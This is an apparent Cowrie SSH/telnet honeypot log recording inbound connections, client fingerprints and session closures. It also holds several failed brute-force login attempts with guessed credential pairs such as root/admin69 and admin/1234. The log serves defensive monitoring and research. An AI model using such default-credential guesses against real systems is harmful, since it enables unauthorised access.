{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:15.117248Z","src_ip":"176.65.132.254","session":"2281c8aefa43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:15.374153Z","src_ip":"176.65.132.254","session":"2281c8aefa43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.18382263183594,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:15.959315Z","src_ip":"134.209.8.29","session":"b5e30e046f70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59258,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bd1ea4eee5c","protocol":"telnet","message":"New connection: 62.210.97.77:59258 (10.17.0.5:23) [session: 4bd1ea4eee5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:16.054031Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:16.461188Z","src_ip":"176.65.132.254","session":"2281c8aefa43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.26479434967041,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:16.520087Z","src_ip":"62.210.97.77","session":"5a39b329e04a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54472,"dst_ip":"10.17.0.5","dst_port":23,"session":"04648967460e","protocol":"telnet","message":"New connection: 165.232.131.181:54472 (10.17.0.5:23) [session: 04648967460e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:18.070207Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48198,"dst_ip":"10.17.0.5","dst_port":23,"session":"15253cb09cd7","protocol":"telnet","message":"New connection: 62.210.97.77:48198 (10.17.0.5:23) [session: 15253cb09cd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:18.591469Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54832,"dst_ip":"10.17.0.5","dst_port":23,"session":"a14aee937d72","protocol":"telnet","message":"New connection: 165.232.131.181:54832 (10.17.0.5:23) [session: a14aee937d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:19.082319Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":33476,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9d11738f32c","protocol":"ssh","message":"New connection: 176.65.132.254:33476 (10.17.0.5:22) [session: d9d11738f32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:19.239482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:19.247715Z","src_ip":"176.65.132.254","session":"d9d11738f32c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:19.339036Z","src_ip":"176.65.132.254","session":"d9d11738f32c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.74305963516235,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:19.556776Z","src_ip":"62.210.97.77","session":"c5d1b9ab575b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.513097286224365,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:19.578960Z","src_ip":"62.210.97.77","session":"8f17a135d33c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:19.595558Z","src_ip":"176.65.132.254","session":"d9d11738f32c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.059754371643066,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:19.909909Z","src_ip":"62.210.97.77","session":"5c60e8e8729c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:20.679988Z","src_ip":"176.65.132.254","session":"d9d11738f32c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.26222896575928,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:21.090910Z","src_ip":"62.210.97.77","session":"d1dacdc16196","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":55566,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e17e8e3dc68","protocol":"telnet","message":"New connection: 165.232.131.181:55566 (10.17.0.5:23) [session: 1e17e8e3dc68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:21.105427Z"}
{"eventid":"cowrie.session.closed","duration":44.515141010284424,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:21.206303Z","src_ip":"65.60.27.33","session":"a85e8e3dff4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60674,"dst_ip":"10.17.0.5","dst_port":23,"session":"4348c7dd3bca","protocol":"telnet","message":"New connection: 38.54.119.93:60674 (10.17.0.5:23) [session: 4348c7dd3bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:22.395402Z"}
{"eventid":"cowrie.session.closed","duration":34.34172606468201,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:22.494110Z","src_ip":"62.210.97.77","session":"26803aceab25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":55104,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5a644f72a6b","protocol":"ssh","message":"New connection: 152.32.189.59:55104 (159.203.135.109:22) [session: d5a644f72a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:22.949257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:22.955068Z","src_ip":"152.32.189.59","session":"d5a644f72a6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37846,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fe5e3901bba","protocol":"ssh","message":"New connection: 176.65.132.254:37846 (10.17.0.5:22) [session: 5fe5e3901bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:23.044657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:23.049739Z","src_ip":"176.65.132.254","session":"5fe5e3901bba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:23.141640Z","src_ip":"176.65.132.254","session":"5fe5e3901bba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:23.251040Z","src_ip":"152.32.189.59","session":"d5a644f72a6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.81156039237976,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:23.545140Z","src_ip":"65.60.27.33","session":"a3dd6d8f3595","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:23.549829Z","src_ip":"176.65.132.254","session":"5fe5e3901bba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin69","message":"login attempt [root/admin69] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:24.147696Z","src_ip":"152.32.189.59","session":"d5a644f72a6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.644675970077515,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:24.421454Z","src_ip":"62.210.97.77","session":"aa63e688ac04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:24.647898Z","src_ip":"176.65.132.254","session":"5fe5e3901bba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":41964,"dst_ip":"159.203.135.109","dst_port":23,"session":"1921582f577b","protocol":"telnet","message":"New connection: 134.209.8.29:41964 (159.203.135.109:23) [session: 1921582f577b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:25.131138Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:25.365952Z","src_ip":"152.32.189.59","session":"d5a644f72a6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":52242,"dst_ip":"10.17.0.5","dst_port":23,"session":"f081d40c6e8d","protocol":"telnet","message":"New connection: 65.60.27.33:52242 (10.17.0.5:23) [session: f081d40c6e8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:27.064476Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37850,"dst_ip":"10.17.0.5","dst_port":22,"session":"7522cd76e0be","protocol":"ssh","message":"New connection: 176.65.132.254:37850 (10.17.0.5:22) [session: 7522cd76e0be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:27.099418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:27.103950Z","src_ip":"176.65.132.254","session":"7522cd76e0be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:27.185589Z","src_ip":"176.65.132.254","session":"7522cd76e0be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:27.441284Z","src_ip":"176.65.132.254","session":"7522cd76e0be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:28.662817Z","src_ip":"176.65.132.254","session":"7522cd76e0be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.5688910484314,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:30.195709Z","src_ip":"62.210.97.77","session":"ccf23fd16c5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37854,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e90750ff1b5","protocol":"ssh","message":"New connection: 176.65.132.254:37854 (10.17.0.5:22) [session: 1e90750ff1b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:30.961077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:30.965751Z","src_ip":"176.65.132.254","session":"1e90750ff1b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:31.052266Z","src_ip":"176.65.132.254","session":"1e90750ff1b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:31.568750Z","src_ip":"176.65.132.254","session":"1e90750ff1b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.137969732284546,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:31.581517Z","src_ip":"62.210.97.77","session":"ae7a20d9286f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53686,"dst_ip":"10.17.0.5","dst_port":23,"session":"3edd5d966505","protocol":"telnet","message":"New connection: 62.210.97.77:53686 (10.17.0.5:23) [session: 3edd5d966505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:31.949426Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59078,"dst_ip":"10.17.0.5","dst_port":23,"session":"f90c19af873b","protocol":"telnet","message":"New connection: 65.60.27.33:59078 (10.17.0.5:23) [session: f90c19af873b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:32.631899Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:32.653099Z","src_ip":"176.65.132.254","session":"1e90750ff1b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.53691554069519,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:32.960649Z","src_ip":"62.210.97.77","session":"5526b239053e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":38602,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc55534f0e8b","protocol":"telnet","message":"New connection: 134.209.8.29:38602 (159.203.135.109:23) [session: bc55534f0e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:33.077750Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":52994,"dst_ip":"10.17.0.5","dst_port":22,"session":"d88af1d2e01d","protocol":"ssh","message":"New connection: 176.65.132.254:52994 (10.17.0.5:22) [session: d88af1d2e01d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:35.135645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:08:35.146324Z","src_ip":"176.65.132.254","session":"d88af1d2e01d","protocol":"ssh"}
